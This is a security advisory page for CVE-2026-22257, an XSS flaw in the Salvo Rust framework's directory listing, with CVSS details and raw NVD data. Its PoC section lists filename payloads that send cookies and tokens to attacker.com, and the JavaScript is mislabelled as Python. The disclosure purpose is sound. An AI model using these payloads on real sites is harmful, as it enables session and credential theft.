Security Vulnerability Report
中文
CVE-2026-22257 CVSS 8.8 HIGH

CVE-2026-22257

Published: 2026-01-08 19:16:00
Last Modified: 2026-03-05 17:42:53

Description

Salvo is a Rust web backend framework. Prior to version 0.88.1, the function list_html generates a file view of a folder without sanitizing the files or folders names, this may potentially lead to XSS in cases where a website allow the access to public files using this feature and anyone can upload a file. This issue has been patched in version 0.88.1.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:salvo:salvo:*:*:*:*:*:rust:*:* - VULNERABLE
Salvo < 0.88.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-22257 PoC - XSS via malicious filename in Salvo framework // This PoC demonstrates how an attacker can inject XSS via file/folder names // Step 1: Create a file with malicious filename containing XSS payload const maliciousFilename = '<img src=x onerror=alert("XSS by CVE-2026-22257")>.txt'; // Step 2: Upload the file to a Salvo server with dir listing enabled // The file will be accessible via the list_html function // Step 3: When victim visits the directory listing page, the XSS will execute // Example HTTP request to trigger the vulnerability: // GET /public-files/ HTTP/1.1 // Host: target.com // The server response will contain: // <a href='<img src=x onerror=alert("XSS by CVE-2026-22257")>.txt'>{maliciousFilename}</a> // Alternative payloads: const payloads = [ '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>.txt', '<img src=x onerror=document.location="https://attacker.com/log?d="+document.domain>.txt', '<svg/onload=fetch("http://attacker.com/?t="+localStorage.getItem("token"))>.txt' ]; console.log('CVE-2026-22257 XSS PoC'); console.log('Payload:', maliciousFilename);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22257", "sourceIdentifier": "[email protected]", "published": "2026-01-08T19:16:00.277", "lastModified": "2026-03-05T17:42:52.990", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Salvo is a Rust web backend framework. Prior to version 0.88.1, the function list_html generates a file view of a folder without sanitizing the files or folders names, this may potentially lead to XSS in cases where a website allow the access to public files using this feature and anyone can upload a file. This issue has been patched in version 0.88.1."}, {"lang": "es", "value": "Salvo es un framework de backend web en Rust. Antes de la versión 0.88.1, la función list_html genera una vista de archivos de una carpeta sin sanear los nombres de los archivos o carpetas, lo que puede potencialmente llevar a XSS en casos donde un sitio web permite el acceso a archivos públicos usando esta característica y cualquiera puede subir un archivo. Este problema ha sido parcheado en la versión 0.88.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 5.3}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:salvo:salvo:*:*:*:*:*:rust:*:*", "versionEndExcluding": "0.88.1", "matchCriteriaId": "E869772F-499D-4D50-8718-6D68B3AC6543"}]}]}], "references": [{"url": "https://github.com/salvo-rs/salvo/blob/16efeba312a274739606ce76366d921768628654/crates/serve-static/src/dir.rs#L581", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/salvo-rs/salvo/security/advisories/GHSA-54m3-5fxr-2f3j", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}